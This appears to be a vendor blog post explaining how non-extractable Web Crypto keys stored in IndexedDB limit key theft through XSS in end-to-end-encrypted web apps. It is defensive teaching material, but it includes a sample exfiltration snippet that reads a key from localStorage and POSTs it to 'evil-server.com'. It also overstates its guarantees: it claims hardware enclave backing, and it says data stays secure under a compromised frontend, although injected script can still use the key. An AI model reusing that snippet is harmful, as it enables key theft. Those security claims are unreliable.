Client-Side Vulnerabilities

The 1 Line of Code That Saves Your E2EE App from XSS

June 04, 2026
6 Min Read

You have perfectly implemented AES-GCM encryption. Your server never sees a single plaintext byte. But you forgot one thing: if a malicious Chrome extension or an XSS attack injects JavaScript into your page, it can simply read the decryption key directly from your variables.

The Key Exfiltration Threat

When developers build E2EE web apps, they usually store the encryption key in a JavaScript variable, a React State, or localStorage.

If an attacker finds an XSS vulnerability in your app (or if the user installs a rogue browser extension), they can execute a script like this:

// A hacker's injected script steals your key instantly
const stolenKey = window.localStorage.getItem('my_aes_key');
fetch('https://evil-server.com/steal', { method: 'POST', body: stolenKey });

The Solution: Non-Extractable Keys

The Web Crypto API has a brilliant, hardware-backed security feature designed specifically to defeat this attack: extractable: false.

When you generate or import a key as "non-extractable", the raw key material is pushed deep into the browser's cryptographic boundary (often utilizing OS-level secure enclaves like the TPM on Macs).

Your JavaScript code can pass this CryptoKey object to crypto.subtle.encrypt() to encrypt data, but the browser will throw a fatal error if any script attempts to read, print, or export the raw key.

Implementation in JavaScript

Here is how to properly import a user's password into a completely unreadable CryptoKey object. Note the false boolean parameter.

// Securing the key during derivation/import
async function deriveSecureKey(passwordStr, saltBuffer) {
    const enc = new TextEncoder();
    const keyMaterial = await window.crypto.subtle.importKey(
        "raw", 
        enc.encode(passwordStr), 
        { name: "PBKDF2" }, 
        false, // <-- CRITICAL: Key material cannot be extracted
        ["deriveKey"]
    );
    
    return await window.crypto.subtle.deriveKey(
        { name: "PBKDF2", salt: saltBuffer, iterations: 100000, hash: "SHA-256" },
        keyMaterial, 
        { name: "AES-GCM", length: 256 }, 
        false, // <-- CRITICAL: Derived AES key cannot be extracted
        ["encrypt", "decrypt"]
    );
}

How do you save it for later?

If the key is non-extractable, how do you save it so the user doesn't have to type their password every time? You can't put it in localStorage because localStorage only accepts strings, and you can't turn this key into a string!

The answer is IndexedDB. Modern browsers allow you to store raw CryptoKey objects directly into IndexedDB using the Structured Clone Algorithm. The key remains safely inside the browser's secure boundary, surviving page reloads without ever exposing the raw bytes to the JavaScript context.

// Storing a CryptoKey securely in IndexedDB
const request = indexedDB.open("SecureVault", 1);

request.onsuccess = function(event) {
    const db = event.target.result;
    const transaction = db.transaction(["Keys"], "readwrite");
    const objectStore = transaction.objectStore("Keys");
    
    // cryptoKey is our non-extractable key
    // It goes into the database as an opaque object
    objectStore.put(cryptoKey, "MasterAESKey"); 
};

Bulletproof Zero-Knowledge

At ZeroKey, we leverage non-extractable keys to ensure that even if our frontend is compromised, your payloads remain secure. Don't roll your own crypto.